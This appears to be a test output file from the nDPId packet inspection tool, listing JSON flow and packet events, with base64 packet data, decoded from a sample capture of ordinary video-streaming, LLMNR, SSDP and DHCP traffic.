+01784{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":288980,"pkt_caplen":1067,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1067,"pkt_l4_len":1033,"pkt":"ABAj4ACgYMVHBbyMCABFAAQdUzlAAEAG6fXAqAUQwKhzS9F3AbseAeI6RPEh+FAYIAATTwAAFwMDA\/DA38Z0CriJXWvtW7RFw9LDOm1hI3Jn0WdodZxDb8Wpsa8K9Knv6nk+qeeuq2QHiTAwY+uBbhRIIo7cCiFWCXc083F4+c\/f7SN2nlkuDJezjpBiZ8XwVU60Ylz9eadMrrtDovGjM6M\/PArOXH1ZNlJ9cP+JbstwZLmdl0wcUec1FFpdCajI3WxYaYcKMcIXLjHeuW5xgbM2n5ys7sQjtDLUshFvULX2GX\/O0m5iSYlYiP2mCWFzQTkU8\/WN84V\/pvNJd\/yfq7WNUR8lVlG4\/PBOV4qQW66CYShFtrDkJABMjKnwL+xlwB\/q7Kdlv+rjx8WfgMSceXt142jGotULQVzwusPzgUqJM+RumkVzhOyLtVNAZMkhU1M70cIVz5aPBPEg4YJ8DY3wTb145uH3QwhUEdGMHIHk7tebvHIpgLub7nQ\/5CLip7ab+Yn2TlKARGzpLtROH+NsG+5GXcxIVGUJ5iiExz0DYxMrhV1dxOCfEJ6D6J+huxiEb+lkUoIfcXfk6otyogFEiqD15mq8s6m0Uys7jkjOI94cH6kSTtyjZ7cCr4+t4wZQy076s6xLIOAx594LhWOnZhXqmu2X01vEiT87ce32GHRI4JPbJ7np3hdBv61A9VQoMh7Kr6I6pEsM4q5EaSstF0fGi43hX7QKBVR3N0Y8lzU9vTSaZPSPMbg3xHntuzTm+gSnOlhZ09Bx0sOQUHLyVm+SSafJ9fHPUOk0G4orO2oglLHBKtPkEUNn2mpASGv1aImmq7lbP9rtIzly2d5zsLkPm3oOWfpQSGm9qmqDK2m1B2z0FOYgF7\/Eh9xrhzFUyOrhU0wyXggc52EXgEvxoaIMloJpIp7CfTrSpIs5dunx0P1Q1tuARJvv9Z2NkRfi5PVYiTLjhK1x5SCSzcTfP8JfPRyASvWHpV0gqp34X8iQkUgtlQBYqGK6IrbERGckJOmGdXOe2zJpKq5jnWu2+k5b\/aVQUSMGmfn0wlPzV4qvz6\/hGIjJsZ4ZMlYz\/jW25YQJMcY6buAeF14tfogTyGtAVctGdxshb5UUg1nsnIKnTcOAVVyCDXfR5A\/cedkFMx9ywMW+sUS\/5gcFSkfOeuHGco1V1iNWAfmnzo0zcy9rfryjfakJbkloJ1rsrbN4wLLDTi5UBL7qoRJ2y6sgifjmrzTbq0K+FK3I36raqY9VjResO49aq6jkowzZDWszBJmdQjOcIujc\/oFZwW6IVqHOSmJAzvC104Edg\/54wrjZkBRY8OUyWNR8P4xuZpns6Be0uhnkmpfMN4RFSm5TR+J9DhCQdDNNv68RsXrA0ktkrQYF7INzyxpjWEtM5LiJ0F9DUGvLaoc="} +01773{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":315313,"pkt_caplen":1055,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1055,"pkt_l4_len":1021,"pkt":"ABxCjnAxABAj4ACgCABFAAQRVrBAAEAG5orAqHNLwKgFEAG70XdE8SH4HgHmL1AYAEZVrAAAFwMDAXAwGTwud+4gOi7Yb1Zan\/3Kpsa5FJB3f7cZ8ft2Eb\/WTKQ79U+ZbTs1ZEAyYRzhRMhgMqx4jJNo9C\/1vF7g6AlmeFKqyeMdAQc5DwYyNznUBBarIGuPslt8GT8dR1+s7CNmfGkNUCpqm5kp1dIV8wVnTOq2Q7vYnSGcBD34\/JcyqJJKMVvzJ0P2BiHCzhSJv7lmM1\/t+d7Ads0jA8Ji4p1IuqYp17Y568Pu1kBKYTb8k97Mgiq75ADBoPAzEhv0ktOL0apfUwelL\/alNlmLPL3WhqTt1o0r35j\/uBbjv8NxQUJl\/c8rG3NoaBOdo1PWIphy+2cSI+pLAb8ZKB3MHooO8+SroSm01oTkoYFSOGFCFanhYKnFDr1JQnEpRogS+u8E6qVekNFazYeOJwjUGOgK8tYSj8DY5cjubtXHQtSYvrTYLPSZmxzHs9dX8Ajfx6Zmjdol7UxJHh0ewddiu6nE+1fgc6IFwgtYP42Dy4LLfxcDAwAwy3f05PPp8+Pb2w\/h7NnsUIA4+odM6JoQHwI0APh4+E3rOIHMl9p2aP1tUJ0DnUICFwMDAdDBR3MV9O7ElnX7\/xjBj2d7l6VIQC\/JjmGpkXA34QOUrBRoHZs3R5FdJjY5p\/mr+IFjp5ec6EeSwBB559NxSWFp5kH74J0cp0BuWrK5\/slvRWxTz93eqHbk9tJ2yNpEFqXhMBzTvai44Cor3jjMRb4LqTk1Ump703tfa5HyPA52AlWndkZ6J3svnWBV8TYE2GYQ6E325VaB7eyxZKlVn3SSpncSEuzlgOIhp4w7MUr4tadamtVnkFyWtez1l2EY\/d6esShkMPjuaTHae2\/y1dWhMT4uP\/60bLVBauO2COwRNWp\/wOhdb2psz4bi6GkYcH1CDmAy9x91V2bBDB6G3mxLC18Q5b6YjphwabXGUPLVY6BOD8ADXX\/E1BWk7odNBDb0wu0+yyvLY1FjJbu1RilAMAsNPIvrQb9GI58pnRBuucKovp3OXYWCYPNNqpSLHx9dVRGmY9ijhvqlGJw0FBzmUe2B1zkxolh8qpnYsZtLfsY4UahTmuRrHUns7fAVYCPNNVkKjiwLbdWqv2jv\/U+RxgoM7dP8c3O5ESfLoSiLGBKVxc8pSZLI3kfpC4yHLuGmi7SPzKtykXO2uYkS0x22QzRZsWsh2z8MZBRONUXl1BcDAwAwGVPvA9d40Y1GRXDNkaHgfYjmz4rFkuszaBRq\/H\/6ZKxXJ5PIWP3M4WxjyO0j6tUFFwMDADAhshERsm+UMENcPw7EANaQPsGTvMLB6eblD7RLP6c7cTs\/8Yru7FDdOLih1Rm6j\/s="} +00416{"flow_id":45,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":315365,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAoIQZAAEAGIB7AqAUQwKhzS9F3AbseAeYvRPEl4VAQH+BUEgAAC2NoYXJt"} +01009{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":328932,"pkt_caplen":499,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":499,"pkt_l4_len":465,"pkt":"TF4M6gNlABxCjnAxCABFAAHlUiZAAIAGFSzAqHMIKngzmMHJH5CKzmoEwyC\/tFAY\/9fpYwAAZW5jcnlwdFZlcj01LjQmb3R5cGU9eG1sJmFwcHZlcj0zLjIuMTkuMzU4JnBsYXRmb3JtPTEwOTAyJm5ld3BsYXRmb3JtPTEwOTAyJnZpZD15MDAxM3hhZWV5byZ2aWRzPXkwMDEzeGFlZXlvJmRlZmF1bHRmbXQ9c2QmZGVmbj1zZCZjS2V5PUFteVJ4VVhyUFc4Wkt4TEFDSGlmNHZka3FSNkxpUmJFMjlYbnA2VzNsUVdjSXEwYmdjSWJlQWhnVDRPMlg5NG5zRkZNazdaZlBSQURZQ0k5QXZrZXB3ZFdSM0FOQ1c4SWl6d202ZDZjVGVyYW9nQkM1SWhUX1JvdGQydDNrWkNCcmk1RU9zT3IzVG13bDFvcUhkQzYtS2dqVEF6MzRrSUhVZEJDRHZMS2FvVnhpLXpUcmRGQ01HamRBZTNXWGVOclZBNFlTclJDYWwwSFR1QlZ0c1ltYVdzRC1tNEJzbHJ4Mk1lRjg1eEtPZHRsUVBBayZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbGlua3Zlcj0yJmRlZm5wYXl2ZXI9MQ=="} +01009{"flow_id":41,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":329005,"pkt_caplen":499,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":499,"pkt_l4_len":465,"pkt":"TF4M6gNlABxCjnAxCABFAAHlUiZAAIAGFSzAqHMIKngzmMHJH5CKzmoEwyC\/tFAY\/9fpYwAAZW5jcnlwdFZlcj01LjQmb3R5cGU9eG1sJmFwcHZlcj0zLjIuMTkuMzU4JnBsYXRmb3JtPTEwOTAyJm5ld3BsYXRmb3JtPTEwOTAyJnZpZD15MDAxM3hhZWV5byZ2aWRzPXkwMDEzeGFlZXlvJmRlZmF1bHRmbXQ9c2QmZGVmbj1zZCZjS2V5PUFteVJ4VVhyUFc4Wkt4TEFDSGlmNHZka3FSNkxpUmJFMjlYbnA2VzNsUVdjSXEwYmdjSWJlQWhnVDRPMlg5NG5zRkZNazdaZlBSQURZQ0k5QXZrZXB3ZFdSM0FOQ1c4SWl6d202ZDZjVGVyYW9nQkM1SWhUX1JvdGQydDNrWkNCcmk1RU9zT3IzVG13bDFvcUhkQzYtS2dqVEF6MzRrSUhVZEJDRHZMS2FvVnhpLXpUcmRGQ01HamRBZTNXWGVOclZBNFlTclJDYWwwSFR1QlZ0c1ltYVdzRC1tNEJzbHJ4Mk1lRjg1eEtPZHRsUVBBayZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbGlua3Zlcj0yJmRlZm5wYXl2ZXI9MQ=="} +00416{"flow_id":41,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":428365,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAopElAADAGFMYqeDOYwKhzCB+QwcnDIL+0is5rwVAQHVCmBAAAAAAAAAAA"} +02095{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":494832,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUpEpAADAGD9kqeDOYwKhzCB+QwcnDIL+0is5rwVAQHVDJegAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG9wZW5yZXN0eS8xLjkuMy4yDQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjE5OjQyIEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCjE0ZGMNCjw\/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04IiAgc3RhbmRhbG9uZT0ibm8iID8+Cjxyb290PjxkbHR5cGU+MTwvZGx0eXBlPjxleGVtPjI8L2V4ZW0+PGZsPjxjbnQ+NTwvY250PjxmaT48YnI+MjM1PC9icj48Y25hbWU+6auY5riFOyg0ODBQKTwvY25hbWU+PGlkPjExMjEyPC9pZD48bG10PjA8L2xtdD48bmFtZT5oZDwvbmFtZT48c2I+MTwvc2I+PHNsPjA8L3NsPjwvZmk+PGZpPjxicj42NDwvYnI+PGNuYW1lPuagh+a4hTsoMjcwUCk8L2NuYW1lPjxpZD4xMTIwMzwvaWQ+PGxtdD4wPC9sbXQ+PG5hbWU+c2Q8L25hbWU+PHNiPjE8L3NiPjxzbD4xPC9zbD48L2ZpPjxmaT48YnI+NjQ8L2JyPjxjbmFtZT7pq5jmuIU7KDM2MFApPC9jbmFtZT48aWQ+MjwvaWQ+PGxtdD4wPC9sbXQ+PG5hbWU+bXA0PC9uYW1lPjxzYj4xPC9zYj48c2w+MDwvc2w+PC9maT48Zmk+PGJyPjY1MDwvYnI+PGNuYW1lPui2hea4hTsoNzIwUCk8L2NuYW1lPjxpZD4xMTIwMTwvaWQ+PGxtdD4wPC9sbXQ+PG5hbWU+c2hkPC9uYW1lPjxzYj4xPC9zYj48c2w+MDwvc2w+PC9maT48Zmk+PGJyPjEyMDA8L2JyPjxjbmFtZT7ok53lhYk7KDEwODBQKTwvY25hbWU+PGlkPjExMjA5PC9pZD48bG10PjE8L2xtdD48bmFtZT5maGQ8L25hbWU+PHNiPjE8L3NiPjxzbD4wPC9zbD48L2ZpPjwvZmw+PGhzPjA8L2hzPjxscz4wPC9scz48cHJldmlldz4zMDA8L3ByZXZpZXc+PHM+bzwvcz48c2ZsPjxjbnQ+MDwvY250Pjwvc2ZsPjx0bT4xNDcwMTA0MzgyPC90bT48dmw+PGNudD4xPC9jbnQ+PHZpPjxicj4zNDwvYnI+PGNoPjA8L2NoPjxjbD48Y2k+PGNkPjI5OS45NjwvY2Q+PGNtZDU+Y2Y5MjMzMzBhNzIyOTQ4NjY4ZmQ1OGVjNDE1ODEzZDQ8L2NtZDU+PGNzPjk0MTg2NTU8L2NzPjxpZHg+MTwvaWR4PjxrZXlpZD51MDAyMG1rcm5kcy4xMTIwMy4xPC9rZXlpZD48L2NpPjxjaT48Y2Q+MzAwLjA0PC9jZD48Y21kNT43NGI4NjVlMWZhYjM0MWU2MzAyNzFlZWFmOTU5NTJkMjwvY21kNT48Y3M+MTM4NzQ1NDE8L2NzPjxpZHg+MjwvaWR4PjxrZXlpZD51MDAyMG1rcm5kcy4xMTIwMy4yPC9rZXlpZD48L2NpPjxjaT48Y2Q+MzAwPC9j"} +00429{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":626995,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8CJ4BzeuNCABFAAA2U7AAAAERvz3AqAUl4AAA\/NwuFOsAIuU8ydMAAAABAAAAAAAACG5vdGVib29rAAD\/AAE="} +00810{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":831288,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNAJhAgEGADFjB6UAAAAAwKgFCcCoBQnAqHcBAAAAAHDxofgq\/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":552,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1470104381895,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"183.131.48.145","src_port":49612,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":895304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0Ui5AAIAGjNDAqHMIt4MwkcHMAFBbXvEQAAAAAIACIAAlhwAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":895349,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0Ui5AAIAGjNDAqHMIt4MwkcHMAFBbXvEQAAAAAIACIAAlhwAAAgQE7AEDAwgBAQQC"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":554,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1470104381935,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"224.0.0.252","src_port":58456,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":935187,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8uKxvwfbSCABFAAA3J0MAAAERi63AqGUh4AAA\/ORYFOsAI152CJsAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":554,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1470104381935,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"224.0.0.252","src_port":58456,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":555,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1470104381935,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"224.0.0.252","src_port":58456,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":935396,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8cPGh+Cr9CABFAAA3fUIAAAERlcbAqAUJ4AAA\/ORYFOsAI76OCJsAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} +00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":555,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1470104381935,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"224.0.0.252","src_port":58456,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00583{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":935810,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRQAAAQRv1\/AqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00579{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":935961,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChfiEAAAERhV\/AqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00415{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":968167,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"ABxCjnAxTF4M6gNlCABFAAAsAABAADEGLge3gzCRwKhzCABQwcyPbNg5W17xEWASOQjNFQAAAgQFtAAA"} +00409{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":968358,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUi9AAIAGjNvAqHMIt4MwkcHMAFBbXvERj2zYOlAQ\/\/Ad6gAA"} +00409{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":968391,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUi9AAIAGjNvAqHMIt4MwkcHMAFBbXvERj2zYOlAQ\/\/Ad6gAA"} +00988{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":978984,"pkt_caplen":486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":486,"pkt_l4_len":452,"pkt":"TF4M6gNlABxCjnAxCABFAAHYUjBAAIAGiyrAqHMIt4MwkcHMAFBbXvERj2zYOlAY\/\/DaOQAAR0VUIC92bGl2ZS5xcXZpZGVvLnRjLnFxLmNvbS91MDAyMG1rcm5kcy5wMTIwMy4xLm1wND92a2V5PTdBQjEzOUJGNkIzMkY1Mzc0N0U4RkYxOTJFNkZFNTU3QjNBM0Q2NDRDMDM0RTM0QkY2RUFFQjRFMDc3NEYyQTkyRUYzQUM1QzAwNzUyMEJCOTI1RTVDOEExOEU2RDMwMkMyREFFMEEyOTVCMjZBQThGRDFEQzgwNjlENDdDRTFCNEExNkE1Njg3MEJEMUFDQTNFODZBQkU0QzA3OTY1OURCMjE4MkZDNzEyMTdBQjY4Q0NEMzQ0Q0U2NTY5NDQ1N0UzRjUzNTQ5Q0Q2MTdENUM5RjY3MUEyNkM3MERDNjhGOTNGMUQ3QkNEMDE3NzYyRiZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDggSFRUUC8xLjENCkhvc3Q6IDE4My4xMzEuNDguMTQ1DQpSYW5nZTogYnl0ZXM9MC0NCkNvbm5lY3Rpb246IGNsb3NlDQpJY3ktTWV0YURhdGE6IDENCg0K"} +01008{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":561,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":6,"flow_first_seen":1470104381895,"flow_last_seen":1470104381978,"flow_tot_l4_data_len":580,"flow_min_l4_data_len":20,"flow_max_l4_data_len":452,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"183.131.48.145","src_port":49612,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"183.131.48.145","url":"183.131.48.145\/vlive.qqvideo.tc.qq.com\/u0020mkrnds.p1203.1.mp4?vkey=7AB139BF6B32F53747E8FF192E6FE557B3A3D644C034E34BF6EAEB4E0774F2A92EF3AC5C007520BB925E5C8A18E6D302C2DAE0A295B26AA8FD1DC8069D47CE1B4A16A56870BD1ACA3E86ABE4C079659DB2182FC71217AB68CCD344CE65694457E3F53549CD617D5C9F671A26C70DC68F93F1D7BCD017762F&guid=F5EB01CC01A8E08CD83630828DE17C2B02162FD8","code":0,"content_type":"","user_agent":""}} +00988{"flow_id":46,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104381,"pkt_ts_usec":979038,"pkt_caplen":486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":486,"pkt_l4_len":452,"pkt":"TF4M6gNlABxCjnAxCABFAAHYUjBAAIAGiyrAqHMIt4MwkcHMAFBbXvERj2zYOlAY\/\/DaOQAAR0VUIC92bGl2ZS5xcXZpZGVvLnRjLnFxLmNvbS91MDAyMG1rcm5kcy5wMTIwMy4xLm1wND92a2V5PTdBQjEzOUJGNkIzMkY1Mzc0N0U4RkYxOTJFNkZFNTU3QjNBM0Q2NDRDMDM0RTM0QkY2RUFFQjRFMDc3NEYyQTkyRUYzQUM1QzAwNzUyMEJCOTI1RTVDOEExOEU2RDMwMkMyREFFMEEyOTVCMjZBQThGRDFEQzgwNjlENDdDRTFCNEExNkE1Njg3MEJEMUFDQTNFODZBQkU0QzA3OTY1OURCMjE4MkZDNzEyMTdBQjY4Q0NEMzQ0Q0U2NTY5NDQ1N0UzRjUzNTQ5Q0Q2MTdENUM5RjY3MUEyNkM3MERDNjhGOTNGMUQ3QkNEMDE3NzYyRiZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDggSFRUUC8xLjENCkhvc3Q6IDE4My4xMzEuNDguMTQ1DQpSYW5nZTogYnl0ZXM9MC0NCkNvbm5lY3Rpb246IGNsb3NlDQpJY3ktTWV0YURhdGE6IDENCg0K"} 